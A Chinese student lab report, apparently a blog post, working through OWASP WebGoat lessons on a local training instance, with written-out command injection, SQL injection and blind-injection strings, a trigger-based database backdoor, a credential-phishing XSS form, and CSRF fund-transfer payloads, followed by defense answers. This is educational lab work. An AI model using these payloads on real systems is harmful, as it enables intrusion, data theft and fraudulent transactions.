2019-2020-5 20175121杨波《网络对抗技术》Exp9 Web安全


标签: web SQL XSS CSRF


一、实践目标

1.1 实验对象

  • linux kali

1.2 实践内容

  • 做不少于7个关于SQL,XSS,CSRF的实验

二、基础知识

SQL注入

  • 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串达到欺骗服务器执行恶意的SQL命令,即利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句;
  • 输入的用户名' or 1=1#中#相当于注释符,把后面的内容都注释掉,1=1是永真式,条件永远成立,和代码中select语句组合后变成select * from login5121_table where username='' or 1=1# ' and password='',不管密码是否输入正确,都能够成功登录。

XSS攻击

  • 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,比如这些代码包括HTML代码和客户端脚本,攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy),这种类型的漏洞由于被黑客用来编写危害性更大的phishing攻击而变得广为人知。

CSRF(Cross-site request forgery)

  • CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性

三、实践步骤

3.1 前置条件说明

  • 我们这里选择WebGoat的jar版本,由于WebGoat 7的jar文件已自带了tomcat和数据库,所以不需要再另外安装tomcat和mysql这种东西,只需要安装jdk用于运行jar文件即可。
  • 由于WebGoat 7使用jdk 1.8编译所以我们也需要安装jdk 1.8版本;jdk安装过程不再辍述,如果需要,可参考链接

3.2 Webgoat安装

  • 介绍:WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
    1、下载webgoat-container-7.0.1-war-exec.jar文件,但是GitHub山下载需要梯子,没有的话见我云盘
    2、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端

3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

4、 使用默认用户名密码guest登录即可(其中Java Source是源码、Solution是答案、Hints是提示)

3.3 开始攻击

3.3.1 SQL注入攻击

1、Command Injection(命令注入)

  • 技术概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。
  • 原理:在正常的参数提交过程中,添加恶意的代码,往往能够得到以外的收获。
  • 目标:能够在目标主机上执行任何系统命令

操作方法:

  • 在左侧菜单栏中选择Injection Flaws->Command Injection

  • 右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,在复选框中任意一栏的代码后添加"& netstat -an & ipconfig"

  • 点击View可以看到网络端口使用情况和IP地址

2、Numeric SQL Injection(数字型SQL注入)

  • 技术概念 :SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁
  • 原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。
SELECT * FROM weather_data WHERE station = [station] 
  • 目标:查看所有的天气数据。

操作方法:

  • 在左侧菜单栏中选择Injection Flaws->Numeric SQL Injection
  • 右键点击复选框选择Inspect Element审查网页元素对源代码<option>进行修改,在在选中的城市编号value="101"后添加or 1=1

-点击Go!显示所有天气数据

3、Log Spoofing(日志欺骗)

  • 原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
  • 目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”

操作方法:

  • 利用回车0D%和换行符%0A让其在日志中两行显示
  • 在User Name中填入webgoat%0d%0aLogin Succeeded for username: hj20175121
  • 点击Login可以看到webgoat Login Fail,自己添加的hj20175121 Login Succeeded

4、String SQL Injection(字符串型注入)

  • 目标 基于查询语句构造自己的SQL注入字符串,显示所有信用卡信息

操作方法:

  • 使用'提前闭合"",插入永真式1=1--注释掉后面的内容
  • 输入查询的用户名yb' or 1=1--select表里面的所有数据

5、LAB: SQL Injection

  • 目标:使用 SQL 注入绕过认证

操作方法:

  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20

  • 以用户Neville登录,输入密码hj' or '1' = '1

  • 攻击成功,得到所有人员列表

6、Database Backdoors(数据库后门)

  • 主题:如何创建数据库后门
  • 原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
  • 目标:我们的目标是学习如何利用查询的脆弱性创建触发器。由于 WebGoat 使用的是 MySQL 数据库,不支持触发器,所以该课程不会真正完成。 我们的 Login ID 是 101。

操作方法:

  • 输入101,得到该用户的信息

  • 输入注入语句101; update employee set salary=10000执行两个语句

  • 输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='chaowendao@outlook.com'WHERE userid = NEW.userid注入一个充当SQL后门的触发器

  • 分析:
    • BEFORE/AFTER参数指定了触发执行的时间,在事件之前或是之后
    • FOR EACH ROW表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次

7、Blind Numeric SQL Injection(数字型盲注入)

  • 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
  • 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。

操作方法:

  • 本实验中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;
  • 如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
  • 输入查询语句101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效

  • 输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效

  • 针对查询语句的后半部分构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );

  • 如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364

  • 最终得到正确PIN值2364,输入验证

8、Blind String SQL Injection(字符串型盲注入)

  • 目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或 假)测试检查数据库中其它条目信息。
    我们的目标是找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程。

操作方法:

  • 本节课程非常类似与上一节,最大的不同是要查询的字段是一个字符串而不是数值
  • 输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );取得 pin 字段数值的第一个字母,并判断其是否比字 母“H”小

  • 经过多次测试比较0-9、A-Z、a-z等字符串和页面的返回数据,判断出第一个字符为J,同理继续判断第二个字符,输入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );

  • 最终的都正确PIN字段Jill输入验证

3.3.2 XSS攻击

1、Phishing with XSS 跨站脚本钓鱼攻击

  • 技术概念:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成 XSS。在 XSS 的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
  • 原理:如果有权限操作页面源代码,那么 HTML 文档的内容是可以被篡改的。
  • 目标:创建一个 form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
  • 在搜索框输入如下代码,页面增加一个表单
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
  • 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat

2、存储型XSS攻击(Stored XSS Attacks)

  • 原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
  • 目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

操作方法:

  • 在title中任意输入字符,留言板中输入<script>alert("You've been attacked!!! ^_^");</script>后点击Submit攻击成功

3、反射型XSS攻击(Reflected XSS Attacks)

  • 技术概念:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
  • 目标:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击

操作方法:

  • 输入代码<script>alert("You've been attacked!!!^_^");</script>,点击purchase的同时页面就给出了反馈

  • 不知道为什么火狐浏览器弹不出警告框,换成Chrome才行的

3.3.3 CSRF攻击

1、跨站请求伪造(Cross Site Request Forgery (CSRF))

  • 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>
  • 当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。

操作方法:

  • 查看页面右侧Parameters中的src和menu值,分别为324和900

  • 在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交

    • 宽高设置成1像素的目的是隐藏该图片
  • 在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

2、绕过 CSRF 确认( CSRF Prompt By‐Pass)

  • 主题:实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令
  • 原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。

操作方法:

  • 查看页面右侧Parameters中的src和menu值分别为326和900

  • 并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=326&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=326&menu=900&transferFunds=CONFIRM"> </iframe>

  • 在Message List中生成以Title命名的链接,点击进入后,攻击成功

四、实验总结与体会

4.1 实验中遇到的问题

  • GitHub上下载WebGoat需要梯子链接外网,我没有梯子,最后找我哥帮我下的。。。。
  • 启动WebGoat登录后左侧栏没有相应的课程

  • 解决方案 原因是JDK版本不匹配,需要下载JDK1.8并配置好环境变量,见前面步骤

4.2 基础问题回答

  • (1)SQL注入攻击原理,如何防御
    SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
    防御手段:

    • 1、普通用户与系统管理员用户的权限要有严格的区分。
    • 2、强迫使用参数化语句。
    • 3、加强对用户输入的验证。
    • 4、使用SQL Server数据库自带的安全参数。
    • 5、使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤。
    • 6、jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。
  • (2)XSS攻击的原理,如何防御
    XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站,并以其他人的生份登陆,做一些破坏。预防措施,防止下发界面显示html标签,把</>等符号转义
    防御手段;

    • 1、在表单提交或者url参数传递前,对需要的参数进行过滤。
    • 2、消除网站的XSS漏洞,需要网站开发者运用转义安全字符等手段。
  • (3)CSRF攻击原理,如何防御
    CSRF(Cross site request forgery),即跨站请求伪造。我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
    一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞。因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF是以XSS为基础的,也可以看做是XSS攻击的一种。
    防御手段:

    • 1、referer:因为伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。但是该方法只能防御跨站的csrf攻击,不能防御同站的csrf攻击(虽然同站的csrf更难)。
    • 2、使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。
    • 3、使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定位CSRF攻击。
    • 4、将敏感操作又get改为post,然后在表单中使用token. 尽量使用post也有利于防御CSRF攻击。

4.3 实验体会

通过本次实验,我学习了SQL注入攻击、XSS攻击和CSRF攻击,了解了这些攻击的原理。虽然操作的时候挺简单,但是要深入理解其背后的原理还是有一定难度的。在实验过程中遇到了各种各样的问题,没有梯子去GitHub上下载webgoat,找了我哥帮我下载,又因为没有安装JDK1.8 导致没有相应的课程,下载JDK1.8又慢得离谱,等下一晚上才下好。在使用webgoat的时候发现这个平台还是很好用的,就是全英文很难受,还是得学好英语啊。通过这些学习,我了解了各种通过网页的攻击,看来以后上网都得小心了。

posted @ 2020-05-19 16:14  20175121杨波  阅读(298)  评论(0编辑  收藏  举报